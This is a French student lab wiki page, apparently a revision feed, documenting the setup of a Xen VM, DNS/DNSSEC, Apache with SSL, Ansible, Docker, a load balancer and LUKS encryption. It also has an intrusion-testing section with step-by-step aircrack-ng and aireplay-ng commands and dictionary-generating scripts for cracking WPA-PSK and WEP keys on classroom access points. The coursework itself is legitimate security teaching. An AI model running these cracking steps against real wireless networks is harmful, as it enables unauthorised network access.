  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 192.168.0.14       # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   address 192.168.0.4/24&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
La tâche &amp;quot;Last&amp;quot; qui effectue &amp;quot;docker ps&amp;quot; ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.&lt;br /&gt;
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:&lt;br /&gt;
[[Fichier:result_crea_docker.png|900px|center]]&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
On recharge apache2:&lt;br /&gt;
  service apache2 reload&lt;br /&gt;
 &lt;br /&gt;
Le rapport d'état se trouve à l'URL:&lt;br /&gt;
https://www.chlamydiae.site/balancer-manager&lt;br /&gt;
&lt;br /&gt;
On obtient:&lt;br /&gt;
[[Fichier:chlamydiae_balancer_result.png|700px|center]]&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
====Sécurisation de données====&lt;br /&gt;
====Cryptage de données====&lt;br /&gt;
Pour afficher la liste des périphériques connectés au PC:&lt;br /&gt;
  fdisk -l&lt;br /&gt;
&lt;br /&gt;
On la crypte et on crée la partition:&lt;br /&gt;
  cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb1&lt;br /&gt;
  cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
On formate notre volume en ext4&lt;br /&gt;
  mkfs -t ext4 /dev/mapper/virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
On le monte ensuite sur /mnt&lt;br /&gt;
  mount -t ext4 /dev/mapper/virtual_vol_crypted /mnt/&lt;br /&gt;
&lt;br /&gt;
On y crée un fichier /mnt/test_file puis on démonte /mnt:&lt;br /&gt;
  umount /mnt&lt;br /&gt;
&lt;br /&gt;
Puis on ferme la communication sur le volume crypté:&lt;br /&gt;
  cryptsetup luksClose virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
A présent, on ne peut plus avoir accès au volume /dev/mapper/virtual_vol_crypted tant qu'on en s'est pas reconnecté avec cryptsetup; pour pouvoir y accéder, il suffit de faire:&lt;br /&gt;
  cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted_bis &lt;br /&gt;
  -&amp;gt; demande du mot de passe&lt;br /&gt;
  mount -t ext4 /dev/mapper/virtual_vol_crypted_bis /mnt/&lt;br /&gt;
&lt;br /&gt;
Et on retrouve notre fichier test_file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si on essaye simplement de monter une clé usb cryptée:&lt;br /&gt;
  mount /dev/sdb1 mnt/tmp&lt;br /&gt;
  mount: /mnt/tmp: unknow filesystem type ‘crypto_LUKS’&lt;br /&gt;
&lt;br /&gt;
====Sécurisation WiFi par WPA2-EAP====&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51844</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51844"/>
				<updated>2019-12-17T09:48:40Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Introduction==&lt;br /&gt;
Lien du sujet: https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html&lt;br /&gt;
&lt;br /&gt;
==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
